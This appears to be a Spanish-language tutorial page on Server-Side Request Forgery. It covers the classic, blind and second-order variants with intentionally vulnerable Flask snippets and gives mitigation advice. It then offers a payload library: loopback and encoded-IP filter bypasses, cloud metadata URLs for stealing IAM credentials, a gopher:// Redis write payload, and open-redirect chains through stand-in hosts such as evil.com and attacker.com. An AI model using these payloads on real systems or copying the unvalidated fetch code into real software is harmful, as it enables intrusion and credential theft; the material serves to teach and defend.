Getting Started

Introducción

Qué es un Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) es una vulnerabilidad web donde un atacante puede hacer que un servidor realice una solicitud HTTP hacia un recurso arbitrario. A diferencia de un ataque desde el cliente, SSRF aprovecha la capacidad del servidor para enviar solicitudes a otras ubicaciones, incluyendo recursos internos inaccesibles desde el exterior.

Esta vulnerabilidad surge comúnmente cuando una aplicación toma una URL como entrada y la utiliza para obtener recursos, imágenes o datos remotos sin validación estricta. Si se puede controlar esta URL, un atacante podría dirigir la solicitud hacia servicios internos como 127.0.0.1, localhost, o incluso hacia servicios especiales como los metadatos de una instancia cloud (169.254.169.254).

En términos de impacto, SSRF ha sido explotado para escanear redes internas, acceder a bases de datos, obtener secretos de instancias en la nube y, en algunos casos, ejecutar código remotamente cuando el servicio atacado lo permite. Comprender SSRF es clave para cualquier equipo de seguridad, desde analistas hasta arquitectos cloud.

Impacto Real

  • Escaneo interno: El atacante puede descubrir puertos y servicios internos no expuestos públicamente.
  • Acceso a metadatos en la nube: Puede extraer credenciales temporales (ej. AWS IAM) desde servidores como 169.254.169.254.
  • Bypass de restricciones: Permite eludir firewalls accediendo a servicios internos desde el propio servidor.
  • Filtrado de datos: Posible exfiltración de información sensible mediante respuestas internas o canales alternos.
  • Acceso a paneles internos: Interfaces como Jenkins, Redis o Docker pueden quedar expuestas si no están protegidas.
  • Denegación de servicio: Puede saturar servicios internos al abusar de solicitudes automáticas.

Tipos de SSRF

SSRF Clásico (Normal)

El SSRF clásico es el tipo más directo de vulnerabilidad SSRF. Se da cuando una aplicación permite que el usuario especifique una URL, y el servidor realiza una solicitud HTTP a esa URL devolviendo la respuesta al usuario. Esta visibilidad inmediata de la respuesta facilita notablemente la explotación.

Este patrón es común en funciones de "proxy", previsualización de enlaces, conversión de documentos o generación de miniaturas. El riesgo se incrementa cuando el servidor tiene acceso a redes internas u otros servicios que el atacante no podría contactar directamente desde el exterior.

Un atacante puede explotar esta lógica para realizar escaneo de puertos internos, acceder a servicios no expuestos públicamente (como paneles de administración) o incluso interactuar con endpoints de metadatos en entornos cloud como AWS. La capacidad de leer las respuestas hace que este tipo de SSRF sea ideal para reconocimiento detallado.

Desde una perspectiva defensiva, este tipo de vulnerabilidad se puede mitigar validando rigurosamente las URLs proporcionadas por los usuarios, evitando llamadas directas desde el backend o restringiendo las IPs y esquemas permitidos para las solicitudes salientes.


									   from flask import Flask, request
									   import requests
									   
									   app = Flask(__name__)
									   
									   @app.route('/proxy')
									   def proxy():
										   url = request.args.get('url')
										   resp = requests.get(url)
										   return resp.text

Explotación: /proxy?url=http://127.0.0.1:8000. Si el puerto interno sirve una interfaz web, el atacante la verá renderizada.

SSRF Ciego (Blind)

En un SSRF ciego, la aplicación también realiza la solicitud HTTP, pero no devuelve el resultado al atacante. El servidor hace la petición, pero el atacante solo recibe una respuesta genérica como "OK" o "Sent". Esto vuelve más compleja la explotación ya que no hay visibilidad directa sobre la respuesta del recurso interno.

Sin embargo, es posible detectar este tipo de SSRF por canales secundarios. El más común es el uso de DNS logging: el atacante puede controlar un dominio y monitorear los registros DNS o HTTP entrantes para confirmar que la solicitud fue ejecutada. También puede medir los tiempos de respuesta para inferir la existencia de servicios internos.

Este tipo de ataque es especialmente efectivo cuando se busca alcanzar servicios internos o endpoints protegidos que no devuelven contenido útil, pero que permiten confirmar su existencia o extraer información si se automatiza el reconocimiento.

La mitigación de SSRF ciegos requiere no solo filtrado de URL, sino también control de salidas HTTP, registro y alerta en peticiones externas, y en entornos cloud, el aislamiento de metadatos.

@app.route('/ping')
									   def ping():
										   url = request.args.get('url')
										   try:
											   requests.get(url, timeout=2)
											   return 'Sent'
										   except:
											   return 'Failed'

Explotación: /ping?url=http://attacker.com/ping. El atacante monitorea sus logs para confirmar que el servidor objetivo hizo la solicitud.

SSRF de Segundo Orden (Second-Order)

El SSRF de segundo orden ocurre cuando el valor proporcionado por el atacante no es utilizado inmediatamente, sino que se almacena para ser procesado en otro punto del flujo de la aplicación. Esto lo convierte en uno de los tipos más difíciles de detectar y mitigar, pero con consecuencias igual de graves.

Este patrón es común en aplicaciones modernas que manejan colas de tareas, microservicios o cualquier procesamiento asincrónico. Por ejemplo, si una aplicación permite guardar una URL para descargar una imagen de perfil más adelante, y ese segundo paso no valida correctamente la URL, se puede ejecutar un SSRF en diferido.

El atacante, en este caso, necesita entender el flujo interno de la aplicación, o bien, forzar múltiples entradas maliciosas con la esperanza de que una de ellas se procese más tarde. Dado que el procesamiento ocurre en otro contexto, el servidor puede tener diferentes permisos o estar expuesto a una red distinta.

La defensa efectiva contra este tipo de SSRF requiere validaciones redundantes en todos los puntos donde se consuma una URL, incluso si ya fue validada anteriormente. También es útil marcar datos como "ya validados", aplicar listas blancas de destinos y monitorear patrones de tráfico anómalos.


				 @app.route('/save')
				 def save():
					 avatar = request.args.get('avatar')
					 with open('avatars.txt', 'w') as f:
						 f.write(avatar)
					 return 'Saved'
					 
				 @app.route('/load')
				 def load():
					 with open('avatars.txt') as f:
						 url = f.read()
					 requests.get(url)
					 return 'Fetched'

Explotación: /save?avatar=http://evil.com seguido por /load. El servidor procesará la URL maliciosa de forma diferida.

Exploitation

Payload Library

A continuación, se presentan payloads seleccionados no solo por su capacidad de generar una respuesta, sino por su valor táctico en distintos escenarios de explotación. Cada uno incluye contexto técnico y cuándo usarlo.

Estos payloads intentan conectar con servicios internos que están ligados a localhost o direcciones de loopback. Su propósito es evaluar si el servidor puede acceder a puertos protegidos como localhost:8000 donde a menudo corren interfaces administrativas, Redis, MongoDB, etc.

http://127.0.0.1:8000
http://localhost:8080/admin
http://[::1]:9200/ (IPv6 a Elasticsearch)

Algunas defensas se basan en detectar strings exactas como 127.0.0.1, sin considerar representaciones alternativas. Estos payloads eluden filtros mediante encoding decimal, hexadecimal u octal.

http://2130706433 (127.0.0.1 en decimal)
http://0x7f000001 (Hexadecimal)
http://0177.0000.0000.0001 (Octal)

Estos endpoints son exclusivos de servicios cloud como AWS, GCP o Azure. Acceder a ellos puede permitir robar tokens IAM, claves de API o credenciales temporales.

http://169.254.169.254/latest/meta-data/ (AWS)
http://metadata.google.internal/computeMetadata/v1/ (GCP)

Este payload utiliza el protocolo gopher:// para hablar con Redis como si fuera un cliente. Es útil en escenarios donde Redis no tiene autenticación y se puede manipular su contenido, por ejemplo para escribir comandos en cron.

gopher://127.0.0.1:6379/_%2A3%0D%0A%246%0D%0ASET%0D%0A%24%34%0D%0Acron%0D%0A%24%32%0D%0Aid%0D%0A

Algunos servidores permiten redirecciones desde una URL legítima hacia otra interna. Este tipo de payload intenta aprovechar hosts intermedios con comportamiento de open redirect.

http://example.com/redirect?to=http://127.0.0.1:80
http://evil.com/forward?next=http://169.254.169.254
Tools

Select Color

Modes

light

light

dark

dark

Backgrounds

default

Default

bg-1

Bg-1

bg-2

Bg-2

bg-3

Bg-3

bg-4

Bg-4

bg-5

Bg-5

Box Design

default

Default

box-1

Box-1

box-2

Box-2

box-3

Box-3